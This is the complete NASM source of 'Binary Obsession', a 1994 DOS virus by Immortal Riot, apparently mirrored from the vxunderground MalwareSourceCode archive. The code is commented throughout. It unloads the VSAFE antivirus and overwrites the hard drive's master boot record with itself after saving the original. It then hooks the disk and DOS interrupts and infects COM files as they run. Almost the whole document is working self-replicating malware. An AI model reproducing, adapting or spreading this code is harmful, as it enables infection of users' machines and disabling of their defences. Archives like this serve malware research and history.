mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
293 lines
8.7 KiB
NASM
293 lines
8.7 KiB
NASM
; ------------------------------------------------------------------------------
|
|
;
|
|
; - Binary Obsession -
|
|
; Created by Immortal Riot's destructive development team
|
|
; (c) 1994 Metal Militia/Immortal Riot
|
|
;
|
|
; ------------------------------------------------------------------------------
|
|
; þ Undestructive Harddrive & COM-file infector þ
|
|
; ------------------------------------------------------------------------------
|
|
.model tiny
|
|
.code
|
|
.286
|
|
org 100h
|
|
|
|
start:
|
|
call get_delta_offset ; no comment needed (0e8h)
|
|
org_bytes:
|
|
db 3 dup (?) ; buffer for the 3 original
|
|
; bytes
|
|
get_delta_offset:
|
|
|
|
pop bp ; fix the delta offset
|
|
push cs
|
|
push ss
|
|
pop ax ; AX equals SS and
|
|
pop dx ; DX equals CS
|
|
|
|
cmp dx,ax ; If they both equal, then
|
|
; we're being executed from
|
|
; a file..
|
|
|
|
jne were_on_harddrive ; Else it's from the harddrive
|
|
|
|
mov dx,5945h ; Removes the VSAFE program
|
|
mov ax,0fa01h ; out of memory, this code is
|
|
int 21h ; detected now-a-days though
|
|
|
|
lea bx,ss:[bp+600] ; offset a more or less 'buffer'
|
|
mov cx,1 ; 1 sector
|
|
|
|
mov dx,80h ; from the harddrive
|
|
mov ax,201h ; read it (MBR)
|
|
int 13h
|
|
|
|
|
|
cmp byte ptr es:[bx],0E8h ; Is the MBR already infected?
|
|
jne infect_mbr ; if not, write ourselves there
|
|
jmp dont_infect_mbr ; else just get the fuck out
|
|
|
|
infect_mbr:
|
|
|
|
|
|
mov cx,2 ; sector 2
|
|
mov ax,301h ; write the MBR to it
|
|
int 13h
|
|
|
|
|
|
|
|
lea si,[bp-3]
|
|
mov cx,virsize ; our viruscode
|
|
mov di,bx
|
|
rep movsb ; copy it over the 1 sector but
|
|
; leave the partitiontable nice
|
|
; and workable, totally intact
|
|
|
|
mov cx,1 ; now write our virus code
|
|
mov ax,301h ; to the MBR now that we've
|
|
int 13h ; taken a "back-up" of it..
|
|
|
|
dont_infect_mbr:
|
|
|
|
mov si,bp ; offset 3 first bytes
|
|
|
|
mov di,100h
|
|
push di
|
|
movsb ; copy them back again
|
|
movsw
|
|
retn ; and then executed the
|
|
; original program
|
|
|
|
db "(c) Metal Militia/Immortal Riot" ; guess who?
|
|
|
|
were_on_harddrive:
|
|
|
|
xor ax,ax ; zero AX
|
|
mov ds,ax ; DS to AX
|
|
|
|
mov si,7C00h
|
|
cli ; clear the interrupts
|
|
mov ss,ax
|
|
mov sp,si ; do the stack thing
|
|
sti ; store the interrupts
|
|
|
|
|
|
push ax
|
|
push si
|
|
sub word ptr ds:[413h],2 ; decrease available memory with
|
|
; 2 kilobytes (only 1 needed?)
|
|
int 12h ; get number of kb's left
|
|
|
|
mov cl,5
|
|
add cl,1
|
|
shl ax,cl
|
|
mov es,ax ; Convert the stuff into kb's
|
|
|
|
|
|
push cs
|
|
pop ds ; DS equals CS
|
|
|
|
mov cx,(realend-start) ; Our viralcode
|
|
mov di,100h
|
|
lea si,[bp-3]
|
|
rep movsb ; Copy us up into the memory
|
|
|
|
mov ds,cx ; DS to CX
|
|
xchg ds:[13h*4+2],ax ; Catch int13h and set it
|
|
mov ds:[0b6h*4+2],ax ; to become 0b6h instead
|
|
mov es:int13zwei,ax ; storage place
|
|
|
|
mov ax,offset our13 ; Now offset our int13 instead
|
|
xchg ds:[13h*4],ax
|
|
mov ds:[0b6h*4],ax
|
|
mov es:int13uno,ax ; storage place
|
|
|
|
mov ax,offset backtoorg ; 'call' our MBR part that does
|
|
push es ; a reading on the original and
|
|
push ax ; then jumps to it
|
|
retf ; return far
|
|
|
|
backtoorg:
|
|
|
|
pop bx
|
|
pop es
|
|
mov cx,2 ; sector 2
|
|
mov dx,80h ; on harddrive (C: unit)
|
|
mov ax,201h ; read it and wait
|
|
int 0b6h
|
|
|
|
db 0eah ; Now go jump to that spot in
|
|
dw 7c00h,0 ; order to execute the original
|
|
|
|
our13:
|
|
push ax
|
|
push ds
|
|
sub ax,ax ; Zero out AX
|
|
mov ds,ax ; DS equals AX
|
|
|
|
cmp word ptr es:[bx],5A4Dh ; .EXE files starting w/'MZ' ?
|
|
|
|
|
|
jne not_ready_right_now ; if not, retry until success
|
|
|
|
cmp ds:[0e5h*4+2],ax ; Already in memory w/int21h?
|
|
jne not_ready_right_now ; If so, fuck it.. outa here!
|
|
|
|
mov ax,cs
|
|
xchg ds:[21h*4+2],ax ; Else, catch it and exchange
|
|
mov ds:[0e5h*4+2],ax ; it with 0e5h instead..
|
|
mov cs:int21zwei,ax ; Storage place
|
|
|
|
mov ax,offset our21 ; And offset our int21 thingy
|
|
xchg ds:[21h*4],ax
|
|
mov ds:[0e5h*4],ax
|
|
mov cs:int21uno,ax ; Storage place
|
|
|
|
not_ready_right_now:
|
|
|
|
pop ds
|
|
pop ax
|
|
db 0eah ; Back to the original int13h
|
|
int13uno dw 0 ; Storage for the original
|
|
int13zwei dw 0 ; 13h interrupt
|
|
|
|
our21:
|
|
|
|
pusha
|
|
push ds
|
|
push es ; Save all registers
|
|
; except for the stack ones
|
|
|
|
cmp ax,4B00h ; Execution of a file?
|
|
je file_infect ; If so, lets go check it out
|
|
jmp computers_int21 ; else we're back to org21h
|
|
|
|
|
|
file_infect:
|
|
|
|
mov ax,4301h ; Zero the attributes
|
|
sub cx,cx
|
|
int 0e5h ; first abuse of the new int21h
|
|
|
|
mov ax,3D00h ; Open it up
|
|
int 0e5h
|
|
|
|
xchg bx,ax ; mov bx,ax
|
|
|
|
mov ax,1220h
|
|
int 2Fh
|
|
push bx
|
|
mov ax,1216h
|
|
mov bl,es:[di]
|
|
int 2Fh ; Point at the SFT thingy
|
|
pop bx
|
|
|
|
or word ptr es:[di+2],2 ; set to read/write ability
|
|
push cs
|
|
pop ds
|
|
|
|
mov ax,word ptr es:[di+0dh] ; read in date/time
|
|
mov cx,ax
|
|
|
|
and cl,00001111b ; Is it seconds of our choice?
|
|
cmp cl,00000001b ; If not, lets infect it
|
|
je closeitup ; Yeah, lets freak out
|
|
|
|
and al,11110000b ; Now set those bloody seconds
|
|
or al,00000001b
|
|
|
|
mov f_time,ax ; Save file time
|
|
mov ax,es:[di+0fh]
|
|
mov f_date,ax ; and date
|
|
|
|
mov cx,2 ; 3 bytes (2 here)
|
|
mov ah,3Fh ; Read in
|
|
inc cx ; plus one here
|
|
mov dx,offset org_bytes ; and offset to buffer
|
|
int 0e5h
|
|
|
|
|
|
xchg dx,si ; point at it
|
|
|
|
cmp byte ptr [si],'M' ; Is it an .EXE file w/'M'?
|
|
je closeitup ; If so, leave it alone
|
|
|
|
mov ax,es:[di+11h] ; Goto EOF with
|
|
mov dx,es:[di+13h] ; the help of
|
|
|
|
mov es:[di+15h],ax ; using these instead of the
|
|
mov es:[di+17h],dx ; 4200h/4202h thingy
|
|
|
|
dec ax ; dec ax
|
|
dec ax ; three
|
|
dec ax ; times
|
|
|
|
mov byte ptr ds:jmp_x,231 ; jmp byte
|
|
inc jmp_x ; increase
|
|
inc jmp_x ; it twice
|
|
mov word ptr ds:jmp_x+1,ax ; and yet add one
|
|
|
|
mov ah,30h ; Write to file (WTF 1/2)
|
|
mov cx,virsize ; Size of the viral code
|
|
mov dx,100h ; Offset the start
|
|
add ah,10h ; WTF 2/2
|
|
int 0e5h
|
|
|
|
xor ax,ax ; Goto SOF
|
|
mov es:[di+15h],ax
|
|
|
|
mov ah,20h ; Write to file (WTF 1/2)
|
|
mov cx,2 ; 2 bytes
|
|
add ah,20h ; WTF 2/2
|
|
inc cx ; plus another one
|
|
mov dx,offset jmp_x ; Offset the buffer
|
|
int 0e5h
|
|
|
|
mov dx,f_date ; original date
|
|
mov cx,f_time ; original time
|
|
mov ax,5701h ; Restore them
|
|
int 0e5h
|
|
|
|
closeitup:
|
|
mov ah,3Eh ; Close file
|
|
int 0e5h
|
|
|
|
computers_int21:
|
|
pop es
|
|
pop ds
|
|
popa
|
|
db 0eah ; Jump back to original int21h
|
|
virend:
|
|
|
|
int21uno dw ? ; Storage for the original
|
|
int21zwei dw ? ; 21h interrupt
|
|
|
|
virsize equ virend-start
|
|
|
|
f_date dw ? ; Storage place for
|
|
f_time dw ? ; file date/time
|
|
|
|
jmp_x db 3 dup (?) ; JMP code buffer
|
|
realend:
|
|
end start
|